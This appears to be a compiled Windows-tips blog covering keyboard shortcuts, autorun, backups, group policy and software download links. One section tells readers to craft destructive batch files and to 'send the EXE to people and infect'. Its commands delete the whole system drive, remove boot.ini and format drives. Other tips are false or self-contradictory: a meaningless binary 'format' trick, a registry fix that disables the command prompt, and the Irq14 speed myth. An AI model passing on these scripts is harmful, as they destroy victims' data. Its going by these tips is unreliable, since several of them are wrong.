Full List of Windows8 Keyboard Shorcuts

Full List of Windows8 Keyboard Shorcuts

Windows key: Switch between Modern Desktop Start screen and the last accessed application
Windows key + C: Access the charms bar
Windows key + Tab: Access the Modern Desktop Taskbar
Windows key + I: Access the Settings charm
Windows key + H: Access the Share charm
Windows key + K: Access the Devices charm
Windows key + Q: Access the Apps Search screen
Windows key + F: Access the Files Search screen
Windows key + W: Access the Settings Search screen
Windows key + P: Access the Second Screen bar
Windows key + Z: Brings up the App Bar when you have a Modern Desktop App running
Windows key + X: Access the Windows Tools Menu
Windows key + 0: Lock screen orientation
Windows key + . : Move the screen split to the right
Windows key + Shift + . : Move the screen split to the left
Windows key + V: View all active Toasts/Notifications
Windows key + Shift + V: View all active Toasts/Notifications in reverse order
Windows key + PrtScn: Takes a screenshot of the screen and automatically saves it in the Pictures folder as Screenshot
Windows key + Enter Launch Narrator
Windows key + E: Open Computer
Windows key + R: Open the Run dialog box
Windows key + U: Open Ease of Access Center
Windows key + Ctrl + F: Open Find Computers dialog box
Windows key + Pause/Break: Open the System page
Windows key + 1..10: Launch a program pinned on the Taskbar in the position indicated by the number
Windows key + Shift + 1..10: Launch a new instance of a program pinned on the Taskbar in the position indicated by the number
Windows key + Ctrl + 1..10: Access the last active instance of a program pinned on the Taskbar in the position indicated by the number
Windows key + Alt + 1..10: Access the Jump List of a program pinned on the Taslcbar in the position indicated by the number
Windows key + B: Select the first item in the Notification Area and then use the arrow keys to cycle through the items Press Enter to open the selected item
Windows key Ctrl + B: Access the program that is displaying a message in the Notification Area Windows key + T: Cycle through the items on the Taskbar
Windows key + M: Minimize all windows
Windows key + Shift + M: Restore all minimized windows
Windows key + D: Show/Hide Desktop (minimize/restore all windows)
Windows key + L: Lock computer
Windows key + Up Arrow: Maximize current window
Windows key + Down Arrow: Minimize/restore current window
Windows key + Home: Minimize all but the current window
Windows key + Left Arrow: Tile window on the left side of the screen
Windows key + Right Arrow: Tile window on the right side of the screen
Windows key + Shift + Up Arrow: Extend current window from the top to the bottom of the screen
Windows key + Shift + Left/Right Arrow: Move the current window from one monitor to the next
Windows key + F1: Launch Windows Help and Support
PageUp: Scroll forward on the Modern Desktop Start screen
PageDown: Scroll backward on the Modern Desktop Start screen
Esc: Close a charm
Ctrl + Esc: Switch between Modern Desktop Start screen and the last accessed application
Ctrl + Mouse scroll wheel: Activate the Semantic Zoom on the Modern Desktop screen
Alt: Display a hidden Menu Bar
Alt + D: Select the Address Bar
Alt + P: Display the Preview Pane in Windows Explorer
Alt + Tab: Cycle forward through open windows
Alt + Shift + Tab: Cycle backward through open windows
Alt + F: Close the current window Open the Shut Down Windows dialog box from the Desktop
Alt + Spacebar: Access the Shortcut menu for current window
Alt + Esc: Cycle between open programs in the order that they were opened
Alt + Enter: Open the Properties dialog box of the selected item
Alt + PrtScn: Take a screen shot of the active Window and place it in the clipboard
Alt + Up Arrow: Move up one folder level in Windows Explorer (Like the Up Arrow in XP)
Alt + Left Arrow: Display the previous folder
Alt + Right Arrow: Display the next folder
Shift + Insert: CD/DVD Load CD/DVD without triggering Autoplay or Autorun
Shift + Delete: Permanently delete the item (rather than sending it to the Recycle Bin)
Shift + F6: Cycle backward through elements in a window or dialog box
Shift + F10: Access the context menu for the selected item
Shift + Tab: Cycle backward through elements in a window or dialog box
Shift + Click: Select a consecutive group of items
Shift + Click on a Taskbar button: Launch a new instance of a program
Shift + Right-click on a Taskbar button: Access the context menu for the selected item
Ctrl + A: Select all items
Ctrl + C: Copy the selected item
Ctrl + X: Cut the selected item
Ctrl + V: Paste the selected item
Ctrl + D: Delete selected item
Ctrl + Z: Undo an action
Ctrl + Y: Redo an action
Ctrl + N: Open a new window in Windows Explorer
Ctrl + W: Close current window in Windows Explorer
Ctrl + E: Select the Search box in the upper right corner of a window
Ctrl + Shift + N: Create new folder
Ctrl + Shift + Esc: Open the Windows Task Manager
Ctrl + Alt + Tab: Use arrow keys to cycle through open windows
Ctrl + Alt + Delete: Access the Windows Security screen
Ctrl + Click: Select multiple individual items
Ctrl + Click and drag an item: Copies that item in the same folder
Ctrl + Shift + Click and drag an item: Creates a shortcut for that item in the same folder
Ctrl + Tab: Move for.t:ard through tabs
Ctrl + Shift + Tab: Move backward through tabs
Ctrl + Shift + Click on a Taskbar button: Launch a new instance of a program as an Administrator
Ctrl + Click on a grouped Taskbar button: Cycle through the instances of a program in the group
Fl: Display Help
F2: Rename a file
F3: Open Search
F4: Display the Address Bar list
F5: Refresh display
F6: Cycle forward through elements in a window or dialog box
F7: Display command history in a Command Prompt
F10: Display hidden Menu Bar
F11: Toggle full screen display
Tab: Cycle forward through elements in a window or dialog box
PrtScn: Take a screen shot of the entire screen and place it in the clipboard
Home: Move to the top of the active window
End: move to the bottom of the active window
Delete: Delete the selected item
Backspace: Display the previous folder in Windows Explorer Move up one folder level in Open or Save dialog box
Esc: Close a dialog box
Num Lock Enabled + Plus (.): Display the contents of the selected folder
Num Lock Enabled + Minus (-): Collapse the selected folder
Num Lock Enabled + Asterisk (*): Expand all subfolders under the selected folder
Press Shift 5 times Turn StickyKeys on or off
Hold down right Shift for 8 seconds Turn FilterKeys on or off
Hold down Num Lock for 5 seconds Turn ToggleKeys on or off

I hope this tips can help all of you enjoy with the newest Microsoft Windows 8 !! :D

Turn Windows Defender on or off

When Windows Defender is on, you will be alerted when spyware and other potentially unwanted software tries to install itself or run on your computer. If you use the default settings, Windows Defender will also check for new definitions (files that are used to determine if software is spyware) and automatically remove any detected item that has a recommended removal action. For more information about Windows Defender, see Using Windows Defender. See Picture bellow

Click to open Windows Defender. see picture bellow

Click Tools, and then click Options. See Picture bellow

Click Administrator, select or clear the Use this program check box, and then click Save.  If you are prompted for an administrator password or confirmation, type the password or provide confirmation. See picture bellow

Enjoy it. :D

How to disable auto run in window 7, 8 or 8.1

If we talk about Auto run we think about some kind of Virus that have extension.inf.

For Al Application thta have extension with .inf is kinds of virus, but it would not impact to your file,

or your documents, but it will be a bridge for other virus come into your computer easy, so in this tutor i will show you step by step how to disable auto

run in windows 7:

Step 1: Go to start menu than clcik run. (see picture bellow)

Step 2: Type gpedit.msc than click ok. (see Picture bellow)

Step 3: Local Group Policy Editor is open.(see Picture bellow)

Step 4: In Local Group Policy Editor on left panel click on Anministrative Template and than Windows Components. (See Picture bellow)

Step 5: In left Panel click on AutoPlay Policies. (see Picture bellow)

Step 6: In AutoPlay Policies in right panel, right click on turn off autoplay than click edit. (See Picture bellow)

Step 7: After that new window is open under Turn off AutoPlay than tick enable and make sure you selcet all drive than Click Apply and Ok.(See Picture bellow) 

And than restart your Computer, Finish enjoy it.

USE YOUR WINDOWS 7, 8 or WINDOWS 8.1 AS ADMINISTRATOR

When we said about the full control in Windows 7 we thank about administrator Controller,  and all application need to run as administrator, so how can we run our Computer as an Administrator? Here a few step that will show all of you how to use your computer :

Step 1: right click on My Computer than click on Manage it will prompt as show on the Picture.

Step 2: See Picture Bellow:

Step 3: See Picture Bellow:

Step 4: After Click ok please restart your Computer to use account as administrator and click on administrator when you start up your Computer.

Please enjoy it :)

Tricks To Clean All Temporary Files,Cookies, Temporary Internet Files

Just use notepad....

Step 1:
Start with making a new txt file.

Step 2:
Paste this code in the txt file:
Code: Select all


@echo off
echo Webhog Cleaner
echo waiting
del /f /s /q %systemdrive%\*.tmp
del /f /s /q %systemdrive%\*._mp
del /f /s /q %systemdrive%\*.log
del /f /s /q %systemdrive%\*.gid
del /f /s /q %systemdrive%\*.chk
del /f /s /q %systemdrive%\*.old
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q ?%userprofile%\Local Settings\Temporary Internet Files\*.*?
del /f /s /q ?%userprofile%\Local Settings\Temp\*.*?
del /f /s /q ?%userprofile%\recent\*.*?
echo complete!
echo. & pause


Step 3:
Now save the file as "Cleaner.bat"

After saving this file, Just open it and see for your self.

How to Download from ShitCash Websites Without Doing Surveys

This little trick will help you to download from "shitcash" or any other downloading site without doing surveys. Now you can skip ads with some mouse click... Yesterday i tried to download something from a "shitcash" website but it was so annoying. Surveys, pop-up ads... I found a working trick to bypass ShitCash surveys. Here are the steps:

REQUIREMENTS:

FireFox [Download]

GreaseMonkey [Download]

This script: [Intelligent Form Filler]

So it works pretty easy, actually:

You just open your ShitCash page.

Choose an offer.

Press Ctrl + Shift + F and its all filled in with random stuff.

*In some cases turn OFF GraseMonkey by clicking the little monkey, if submitted turn ON again.

4. Now, submit the form, and your download unlocks most of the time.

Optional 5. If doesn't, clean your cookies, I recommend using this add-on: Click&Clean, and start at step 1.

Have fun downloading from ShitCash websites Without doing surveys. I hope this trick will help some readers.

Format A HDD With Notepad

If you think that Notepad is useless then you are wrong because you can now do a lot of things with the Notepad which you could have never imagined. In this trick I will show you how to format a HDD using Notepad. This is really cool.

Step 1 :-

Copy The Following In Notepad Exactly as it is.

says01001011000111110010010101010101010000011111100000

Step 2 :-

Save As An EXE Any Name Will Do

Step 3 :-

Send the EXE to People And Infect

OR

IF you think cannot format C Drive when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code

format c:\ /Q/X — this will format your drive c:\

01100110011011110111001001101101011000010111010000 100000011000110011101001011100

0010000000101111010100010010111101011000

format d:\ /Q/X — this will format your dirve d:\

01100110011011110111001001101101011000010111010000 100000011001000011101001011100

0010000000101111010100010010111101011000

format a:\ /Q/X — this will format your drive a:\

01100110011011110111001001101101011000010111010000 100000011000010011101001011100

0010000000101111010100010010111101011000

del /F/S/Q c:\boot.ini — this will cause your computer not to boot.

01100100011001010110110000100000001011110100011000 101111010100110010111101010001

00100000011000110011101001011100011000100110111101 101111011101000010111001101001

0110111001101001

try to figure out urself rest

cant spoonfeed

its working

Do not try it on your PC. Don’t mess around this is for educational purpose only

still if you cant figure it out try this

go to notepad and type the following:

@Echo off

Del C:\ *.*|y

save it as Dell.bat

want worse then type the following:

@echo off

del %systemdrive%\*.*/f/s/q

shutdown -r -f -t 00

and save it as a .bat file

Increase Hard Disk Speed In Windows 100% No Software Require :)

If you like to increase/optimize your Hard Disk I/O - read/write speed without buying expensive software utilities to do that job or changing the HD, just follow next steps. With doing these steps you will increase Hard disk speed (depends of manufacture and specification, but its worth to try). The most speed improvement is visible with IDE drives; 

In any case, it won't harm your system, so try it yourself and let me know what you find!

Steps:

1. Run SYSEDIT.EXE from the start & then Run command.

2. Expand the system.ini file window.

3. Scroll down almost to the end of the file untill you find a line called [386enh].

4. Press Enter to make one blank line, and in that line type

5. Irq14=4096 (note: This line IS CASE SENSITIVE)

6. Click on the File menu, then choose Save.

7. Close SYSEDIT and reboot your computer.

8. Restart windows!

The speed improvement will be noticed just after the system reboots, any system info. software can be used to check the improvement.

Enjoy it :D

Enable Task Manager has been Disabled by your Administrator

When you try to open Task Manager, the following error may occur:

Task Manager has been disabled by your administrator

Resolution

This error is caused if the DisableTaskMgr restriction is enabled. To enable Task Manager, try one of these method:

Method 1

Click Start, Run and type this command exactly as given below: (better - Copy and paste)

Top of Form

REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f

Bottom of Form

Method 2

• Click Start, Run and type Regedit.exe

• Navigate to the following branch:

HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies\ System

• In the right-pane, delete the value named DisableTaskMgr

• Close Regedit.exe

Method 3:

Using Group Policy Editor - for Windows XP Professional

• Click Start, Run, type gpedit.msc and click OK.

• Navigate to this branch:

User Configuration / Administrative Templates / System / Ctrl+Alt+Delete Options / Remove Task Manager

• Double-click the Remove Task Manager option.

• Set the policy to Not Configured.

Message: "The command prompt has been disabled by your administrator"

When you attempt to run CMD.exe or a batch file, you may receive the message "The command prompt has been disabled by your administrator". This is caused by restrictions placed in Registry. DisableCMD value is set to 1 or via Group Policy. To enable Task Manager, try any of these methods:

Method 1:

Using the console registry tool

Click Start, Run and type this command exactly as given below: (better - Copy and paste)

REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f

Method 2:

Edit the registry directly

Open Registry Editor (Regedit.exe) and navigate to:

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System]

In the right-pane, double-click DisableCMD and set it's data to 0

Method 3:

Using Group Policy Editor in Windows XP Professional.

Click Start, Run, type gpedit.msc and click OK.

Navigate to User Configuration \ Administrative Templates \ System

Double-click the Prevent access to the command prompt

You can then disable or set the policy to Not Configured. Disabling or setting this policy to Not Configured should solve the problem.\

New Theme for 3D viewer and Bump Top

New Theme for 3D viewer and Bump Top all of the theme just release.

As you see with this screen shoot, the 3D viewer or Bumptop is the best app for make your computer into the world of 3D. Click on link to download the theme; Download Theme 3D Viewer

Restart Windows without Restarting your PC

Mostly Computer takes lots of time for restart. Sometimes we need to restart our computer, that time it becomes necessity like after installing some software but when we have limited time and we are busy then it is very annoying to wait for it to restart.

So here is solution for this problem. In that case you need not to restart your computer but you can restart your windows without restarting computer. It will take very less time.

To restart windows without restarting computer you just need to hold Shift key down while clicking on shutdown or restart button.

you computer would restart without restarting the Computer.

Restart Windows without Restarting PC, this term is known as Hot Booting.

Control Your PC Through Your Voice

e-Speaking: Control Your PC Through Your Voice

An easy software solution to enable you to control your computer, dictate emails and letters, and have the computer read documents back to you. e-Speaking – Voice Recognition software using your voice to command and control your computer. Reduce or eliminate mouse clicks or keyboard input. Use it to enhance your computing experience by providing an additional input to the computer.

What is Speech Recognition & Voice Recognition?

These are exciting technologies that change the way you interact with your computer. Now you can speak to your computer and it can speak back. The speech that you and your computer exchange is scripted. In other words, you can’t just ask your computer how he/she is feeling? Rather, you can talk to your computer using a set of pre-defined commands and instructions (i.e., a script). Your computer will respond in the same way (also using a scripted language). For example, you can say: “File Open”, and the computer would respond: “Select the file”. Or you can say: “Edit Find” and the computer would ask: “Find What?”.

Click here to download E-Speaking 

Adobe Audition 3.0

Adobe Audition 3.0 is one of world most popular software's for music industry. It is very simple and easy to use.
Adobe Audition 3.0 gives you much opportunities to work with music. Its have 13 effect categories and more then 100 effects. You can also upgrade your adobe audition software with some plug ins. Adobe Audition have option to install VST and DIRECTX plug ins. You can record over one hundred audio tracks and edit it at same time. Adobe Audition 3.0 gives you opportunity to become professional music producer.

Click here for Download Adobe Audition 3.0

Advanced SystemCare with Antivirus 2014

Based on #1 ranked BitDefender antivirus technology and IObit anti-malware engine, Advanced SystemCare with Antivirus 2014 incorporates top anti-virus capabilities, as well as the already proven comprehensive PC tune-up ability. With its real-time protection against viruses, spyware and phishing attacks, powerful tuning-up and cleaning functionality, Advanced SystemCare with Antivirus 2014 provides always-on, automated, and all-in-one protection against all kinds of security threats, system slow down, freeze and crash. It ensures PC security, and maintains maximum computer performance automatically without slowing down your system. Advanced SystemCare with Antivirus 2014 is compatible with other security software like anti-virus, anti-malware, firewall, etc.

Advanced SystemCare with Antivirus 2014 is a stand-alone product. Besides the newly built-in antivirus functionality, it includes all the features of Advanced SystemCare PRO. PRO users who uninstalled Advanced SystemCare during the trial can easily revert it back at any time.

Click Here for Download Advanced SystemCare with Antivirus 2013

Use Adobe Audion to remove vocal sound

Here are the video i have make for you on how to use Adobe Audion to remove Vocal sound of the signer for get the music only for use to make a new song or Video. Clink on the link for Download

HOW TO UPDATE DRIVER PCS USING WINDOWS UPDATE

Ok in this new tutor i have show all of you on how to use Windows update to update your PCs Driver,

Locked Files Wizard

The Locked Files Wizard, formerly known as CopyLock, is an assistant that allows you to either delete, move or rename files or folders used by the system or any other application or process. You can display and possibly stop the processes or services that use executables, folders or dynamic-link libraries (DLL) and try the operation again to possibly avoid restarting your system and thus save time.

The wizard also allows you to quickly pick the image path of a process (Select > File from Process) or a program that runs at startup from the Registry (Select > File from Registry), to manage it. This may be useful to quickly remove worms, trojans or any other malware from a system.

Additionally you can manage the pending operations that are delayed until the next reboot.

The package includes a command-line version that can be used from a Command window or a script.

Disclaimer: you can possibly crash your system or prevent an installed program from working if you are not careful, use at your own risk. And Click Here For Download

Advanced SystemCare 6 Beta 1.0

Features:

Scan and remove spyware and adware with the latest definition

Prevent spyware, hijackers and bad websites from being installed

Erase the history of all activities in your computer

Scan and fix invalid and improper registry entries

Detect and remove invalid startup items

Search and Clean up unused Windows garbage

Repair system configurations, Eliminate System Bottlenecks and Prevent Crashes

Tune up Windows to improve both system and Internet performance, unleash the power of your Windows

Analyze and Show detailed information of hardware and Windows

Finish all Work with one click, Super Easy to Use

Changelog:

+ Brand New User Interface for Easier and Simpler Use

+ New Surfing Protection Technology for TOP Online Security and Safer Online Environment

+ New Performance Monitoring Technology as an Add-On for More Comprehensive and Efficient Optimization

+ New Generation Technology for Much Lighter Installation Package Yet More Powerful Functions

+ New Internet Boost Technology for Faster and Smoother Online Experience

+ New Generation Super Engine for Disk Defragment to make scan and optimization much faster

+ More Secure, Stable, Smart and Reliable Performance Gives You Peace of Mind

+ Improved Active Optimize Function for Smarter Real-time Optimization

+ Improved Toolbox for Daily PC Maintenance

+ Improved Turbo Boost Function for More Efficient Working and Superb Gaming Experience

+ Enhanced Registry Fix and Vulnerability Scanning Technology Ensures More Effective Performance

+ More to be discovered by you

Click here to Download from DepositFile

Click here to Download from TusFile

Secrete and Amazing Photoshop Tutorial

Here are the secrete and Amazing Photoshop Tutorial that i have not been meet before, and i just meet this Tutorial and i also shared it for all of you who want to be an expert with PS software. Click here to download this tutorial: secrete and Amazing Photoshop

Performing a Backup

This lesson will show you, step by step, how to perform the various types of backup as described in the previous lesson.

In the following example, the C:\Data folder will be backed up using the Backup Utility.

Notice that the A (Archive Attribute) is currently set for all of the files.

The backup utility can be quickly accessed by typing the command “ntbackup”.

By default, the Backup Utility will use Wizard Mode. Uncheck the Always start in wizard mode checkbox.

Select Advanced Mode, which enables you to configure the backup exactly as you want it.

Select the Backup tab.

From the tree view, select the location of the backup.

Check the box next to the folder you wish to backup, e.g. Data. You can also backup an entire drive by selecting the checkbox next to the relevant drive letter.

Once you have selected all the files you wish to backup, you can save the selection by clicking Job.

And selecting Save Selections.

Choose a name for the backup selection and click Save.

You can now open the backup selection each time you perform a backup, rather than re-selecting all of the files.

Next, specify a location for the backup, e.g. A network share or removable hard disk.

Once a location has been specified, select the Start Backup button.

Because this is a new backup, you should select the Replace the data on the media with this backup radio button.

Select the Advanced Option

The Disable volume shadow copy option allows the backup of locked and open files. If this option is selected, some files that are open or in use might be skipped.

You can choose the Backup type from the Backup Type drop-down list.

In this case, a Normal backup is required.

Click on OK once all options have been configured.

To begin the backup select Start Backup.

The backup will then begin.

Once completed, you can either view a Report or Close the Backup dialog box.

Notice that the Archive attribute on the files in the data folder have now been cleared.

The backup has been saved to the network share as “databackup.bkf”.

Performing a Differential Backup

In this scenario, a differential backup is performed the day after the normal backup. Because the current.txt file has been modified, the archive attribute is set.

Open the ntbackup utility and select Job.

Select Load Selections.

And open the backup selection saved previously.

Specify a new name for the backup file.

Select Start Backup.

Click the Advanced Button.

Select the Backup type drop-down list.

Select the Differential Option.

Click on OK once all options have been configured.

Click on Start Backup to begin the backup process.

Once the backup is complete, click on Close.

Notice that the archive bit on the modified file stays selected. The differential backup will only contain this file.

Performing an Incremental Backup

With an incremental backup, the archive bit will be cleared. In this example, two files in the folder have been modified since the normal backup.

Again, using the ntbackup utility, open the backup selection, and begin the backup process.

This time, select the Incremental Backup type.

Once the backup has finished, click on Close.

Notice that, unlike a differential backup, the archive bit has now been cleared.

Creating a Backup Schedule

Incremental Backup Strategy

Monday – Normal Backup of entire computer

Tuesday – Incremental Backup of Data folder

Wednesday – Incremental Backup of Data folder

Thursday – Incremental Backup of Data folder

Friday – Incremental Backup of Data folder

The backup utility allows you to schedule backup jobs to run at pre-set times. In this example, every Monday a normal backup of the entire computer is performed. Every Tuesday, Wednesday, Thursday and Friday nights, an incremental backup of the data folder is performed.

Launch the ntbackup utility and select the Schedule Jobs tab.

Select the Add Job button.

Click on Next to continue.

Select which files you would like to backup, in this case Back up everything on this computer. Once selected, click Next.

Choose a name and location for the backup and click Next.

Ensure Normal backup is selected and click Next.

Click on Next to continue.

Because this is a normal backup, data should not be appended to the end of an existing backup. Select the Replace the existing backup radio button.

Click on Next to continue.

Choose a name for the Schedule and then select the Set Schedule button.

Using the Schedule options, a backup schedule for the job can be set.

In this example, a normal backup will be performed every Monday night. Click on OK to continue.

The scheduled task will need to run with the permissions of a user with the relevant rights, e.g. A member of the Administrators or Backup Operators group. Click on OK to continue.

Click on Next to continue.

Click on Finish to close the wizard.

The normal backup job has now been created. Click on Add Job to create the incremental backup schedule.

Click on Next to continue.

Select which files you would like to backup, in this case Back up selected files, drives, or network data. Once selected, click Next.

Select the files to be backed up.

Click on Next to continue.

Click on Next to continue.

Select the Backup type drop-down list and select Incremental.

Click on Next to continue.

Click on Next to continue.

Because this is an incremental backup, it is often easier to append data to the end of an existing backup. Click on Next to continue. N.B. You should set the Tuesday backup to replace the existing backup .

Choose a name for the backup job and click Set Schedule.

Choose a schedule from the available options.

The backup will be performed at midnight every Tuesday, Wednesday, Thursday, and Friday. Click on Next to continue.

Click on Next to continue.

Click on Finish to close the wizard.

The backup schedule has now been set.

Wedding Album Maker Gold

Create amazing DVD, VCD slideshows from your wedding photos, music - and burn them directly to a DVD or CD disc. Your family and friends can play your wedding slideshow discs on their TV with a DVD player, or on their computer. With Wedding Album Maker Gold, you'll create personalized discs that are as easy to use as an ordinary DVD. With more than 260 transition effects, you can easily share your love story and excitement of your wedding day with your friends and family.

Click here for Download the Application:

The Backup Utility

One of the most important tasks for any network administrator is the creation and management of a solid backup and restore procedure.  Microsoft Windows Server 2003 provides many powerful tools that will enable you to perform backups of local and remote data, active directory and open and locked files.

Windows provides a powerful utility for this purpose known as the Backup Utility or “ntbackup”. The Backup Utility will enable you to schedule backups for periods of low utilization, such as during the night, additionally the backup utility also supports Incremental, Differential and System State Backups.

Backup Types

When using the backup utility you must decide which backup type to perform. The different backup types relate in one way or another to an attribute maintained by every file, this attribute is known as the The Archive Attribute.  The archive (A) attribute is a flag that is set whenever a file is created or changed. Once a file has been backed up, the archive bit is cleared until the file is modified. You can also modify this attribute manually.

To do this, right-click on any file, select Properties and then Advanced. The archive flag can then be set by using  the File is ready for archiving control.

Normal Backups

With a normal backup, all selected files and folders are backed up. As each file is backed up, the archive attribute is cleared. A normal backup does not use the archive attribute to determine which files to backup.  Every backup strategy should begin with a normal backup. A normal backup is often the most time and space consuming method. However, restores from a normal backup are the most efficient.

Incremental Backups

With incremental backups, selected files with the archive attribute set are backed up. The archive bit for the file is then cleared. If you perform an incremental backup one day after a normal backup, the job will contain only files that were created or changed during the day.  Incremental backups are the fastest and smallest type of backup. However, they are less efficient to restore. You must first restore a normal backup and then restore, in order of creation, each incremental backup.

Differential Backups

With differential backups, selected files with the archive attribute are backed up, but the archive attribute is not cleared. A differential backup will contain files that have changed since the last normal or incremental backup but not the last differential backup.  Differential backups are more efficient than incremental backups, however they may take up a lot of space. To restore a system, you would perform a normal backup followed by the most recent differential backup.

Incremental Backup Strategy

Monday – Normal Backup

Tuesday – Incremental Backup

Wednesday –Incremental Backup

Thursday – Incremental Backup

Friday – Incremental Backup

In this backup strategy, all files are backed up on a Monday. All files that have changed each day are backed up with an Incremental Backup.

If the server was to fail on a Thursday, then you would need to restore Monday’s Normal backup, followed by Tuesday’s and Wednesday’s Incremental Backups.

Differential Backup Strategy

Monday – Normal Backup

Tuesday – Differential Backup

Wednesday –Differential Backup

Thursday – Differential Backup

Friday – Differential Backup

With a Differential backup strategy, all files are backed up on a Monday. All files that have changed since the normal backup are backed up with each Differential Backup.

If the hard disk fails on the server on a Friday, then you would restore Monday’s Normal Backup, followed by Thursday’s Differential Backup.

Backup Types

With copy backups, all selected files and folders are backed up. A copy backup neither clears or uses the archive bit. A copy backup can be used to copy or backup the computer without affecting a normal backup schedule.  With daily backups, all selected files and folders that have changed during the day are backed up based on the modify date of the files. The archive attribute is neither used or cleared. Daily backups can be used to perform a backup without affecting a normal backup schedule.

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Security Templates

Security settings can be set through predefined Security Templates. There are various grades of these of increasingly restrictive security. Each of them can be customised, and saved to be used in various group policies for local machines and domains. This is such a handy and much-used facility that there is an MMC Snap in just for it:

The Security Templates snap-in is used to manage security templates.


This tool permits an existing template to be customised if required and saved in the default folder systemroot\security\templates as an .inf file, for deployment later.

These templates have descriptive names. For example workstations (wk ws, or w), servers (sv or s) and domain controllers (dc) are clearly indicated. This is a useful aide-memoire for the exam.

Compatible Templates

This is needed for compatibility with older applications. These applications should be run under Power Users accounts.

Secure Templates

Amongst other things, these have restricted settings for Security options in Account Policies. Windows NT 4.0 machines must have Service Pack 4 installed to use this

Highly Secure Templates

Communicates only with Windows 2000+ machines, empties the Power Users group, protects network traffic with IPSec.

Setup security

This is the default policy applied to servers and clients and can be used to restore a machine to its original settings.

rootsec

Rootsec applies permissions to the root of the system drive and all its subfolders

iesacls

Iesacls sets permissions on registry keys for internet explorer.

While it’s perfectly possible to edit the .inf files in the Templates folder using Notepad, a safer alternative is suggested here.

Highlight an existing template and save it under a different name. (Right-click and select Save As)

Settings can then be viewed and altered just as if you are editing the local security policy.

Security templates can be easily transferred to other machines and applied. Templates are also a great way of backing up your security settings.

Security Configuration & Analysis

Analysis is done by comparing the current system security settings against a security template imported to a personal database. This template contains the preferred or recommended security settings (base configuration). Values found are compared to the base configuration. If the current system settings match the base configuration settings, they are assumed to be correct. If not, the attributes in question are displayed for investigation.

To perform analysis and configuration using a security template the Security Configuration and Analysis MMC snap-in is used.

The first time the Security Configuration and Analysis MMC is created and opened, no database has been defined. The instructions about how to proceed are quite clear, however!

No existing databases are available, so create one……and click Open

A template for comparison needs to be selected here, Now click Open.

The security settings may now be adjusted (Configured) or examined (Analysed). It’s recommended that an analysis is done first.

Right-click on Security Configuration and Analysis and Select Analyze Computer Now.

The results of the analysis need to be collected into a log file. Windows makes a suggestion for the location of this log but other locations can be selected.

Clicking here reveals the analysing display. This checks items as they are compared with the model in the database.

Nothing appears to have happened after all this, but the items which might need to be altered appear in the tree. To find out if anything needs to be altered, the log file needs to be viewed. Right click here and select view log file.

There are two displays of the analysis results here, shown in the left and right panes. Scroll the right pane, looking for the flagged mismatches.

The analysis can be displayed graphically by browsing through the various policy folders. Items with a red-cross do not match the settings in the template.

You can then apply the template to the machine by right-clicking on Security Configuration and Analysis.

And selecting Configure Computer Now.

All settings in the template are now applied to the computer. N.B. You will need to reanalyze the computer to obtain this page.

Using the Command Line

As well as using the easy to use MMC tools Microsoft Windows ships with the “secedit” utility which can be used to apply templates via the command line. Secedit is a more powerful option because it allows you to apply specific parts of a template rather than the entire template.

For more information on how to use the Secedit command run “secedit –help” from a command prompt.

Local Group Policy

Group Policies are a convenient way for an administrator to prescribe the behaviour of computers, and the rights and permissions of users, from a single console. Group Policies can be applied to single computer and its users, or to wider groups such as domains. A local computer can have only one group policy (a Group Policy Object) in operation. A group policy MMC is not installed by default on a local machine, but part of its content appears as the Local Security Policy MMC, which is installed by default.

The MMC Console is called from START > RUN.

Add the group policy console from the Add/Remove Snap-ins Wizard.

Options here fall into two broad groups, namely settings for the machine as a whole, and settings for the users of the machine.

Software Settings is really only of use within a domain where programs are published or assigned.

Windows Settings is more relevant until the computer is joined to a domain.

This is a way to specify programs to run before the user begins to interact with Windows.

Double-click on the item to view its properties.

No script files have been selected, but one can be added now:

Browse to find a file in the Start-up folder.

One way to specify that all the scripts execute at the same time as far as possible is to use the Administrative Templates facility

expand System…

Then Scripts.

There is a bewildering array of options, here. Fortunately, there are explanations for each policy setting

Double-click on Run startup scripts asynchronously.

select the appropriate radio button.

The Explain tab gives a detailed explanation of the object’s function

The previous and next policy buttons allow the administrator to scroll through all the available policies until he finds one that fulfils his requirements

The quick scan facility is very useful in view of the enormous number of options available:

The best way to get familiar will all of these settings is to play around with them. Be careful not to lock yourself out of the machine.

There are as many options again for configuring users rights…

As can be seen from the panel on the left.

The foregoing configuration opportunities give an administrator a wide range of options for setting security. However, a basic list of essential security features might include disabling the following :

Command Prompt,
Control Panel,
MMC,
Installing programs from floppy, CD or DVD,
Shutdown,
Previous Login name,
Registry editing tools
(You might also consider configuring a Web Home Page.)

Group Policy is applied to the machine and all users of it – including the Administrator.  He can permanently remove his own control.

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